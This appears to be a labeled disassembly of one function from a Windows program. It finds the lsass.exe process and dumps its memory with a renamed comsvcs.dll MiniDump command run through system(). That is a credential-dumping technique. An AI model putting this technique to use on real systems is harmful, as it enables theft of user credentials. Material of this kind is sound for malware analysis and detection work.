Function at 0x401220
Capabilities:
Enumerate processes
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403667
mov eax, dword fs:[0]
push eax
sub esp, 0x318
mov eax, dword [0x407008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
mov dword [ebp - 0x308], 0
push esi
push 0x80
push 2
push esi
push esi
push 0x10000000
push str.c:_templsass.dmp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x228
mov ebx, eax
lea eax, [ebp - 0x300]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x304], 0x22c
lea eax, [ebp - 0x304]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40131a
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
push str.lsass.exe
push 0x4042a0
call edi
add esp, 8
test eax, eax
je 0x4012f9
nop dword [eax]
lea eax, [ebp - 0x304]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov esi, dword [ebp - 0x2fc]
lea eax, [ebp - 0x2e0]
push str.lsass.exe
push eax
call edi
add esp, 8
test eax, eax
jne 0x4012d0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
push 0x402240
push esi
call fcn.00401f70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push 0xb0
lea eax, [ebp - 0xd8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xd8], 0x4043fc
lea ecx, [ebp - 0x70]
mov dword [ebp - 0xc8], 0x4043a0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0xc0]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x308], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd8], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xdc], eax
lea ecx, [ebp - 0xc0]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - 0xc0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
push esi
mov edx, str.powershell_rundll32.exe_d.dll__MiniDump
mov dword [ebp - 4], 2
lea ecx, [ebp - 0xc8]
call fcn.00402270
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov edx, str._lsass.dmp_full
mov ecx, eax
call fcn.00402270
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00401b60
mov byte [ebp - 4], 3
mov edx, eax
cmp dword [eax + 0x14], 0x10
jb 0x401417
mov edx, dword [eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4024b0
push dword [eax + 0x10]
call fcn.004025f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x310]
cmp edx, 0x10
jb 0x401475
mov ecx, dword [ebp - 0x324]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40146b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40146b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004028e6
add esp, 8
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00401b60
cmp dword [ebp - 0x14], 0x10
lea edi, [ebp - 0x28]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmovae edi, dword [ebp - 0x28]
push str.copy_C:Windowswinsxs_amd64_microsoft_windows_c..fe_catsrvut_comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4comsvcs.dll_d.dll
call esi
push edi
call esi
mov edx, dword [ebp - 0x14]
add esp, 8
cmp edx, 0x10
jb 0x4014d8
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4014ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014ce
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004028e6
add esp, 8
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd8], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xdc], eax
lea ecx, [ebp - 0xc0]
call fcn.00401ab0
lea ecx, [ebp - 0xb8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004028a5
mov esp, ebp
pop ebp
ret